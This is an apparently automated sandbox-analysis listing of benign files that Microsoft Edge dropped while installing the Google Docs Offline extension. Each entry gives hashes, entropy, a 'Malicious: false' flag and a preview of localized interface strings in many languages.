SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5760_675982134\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
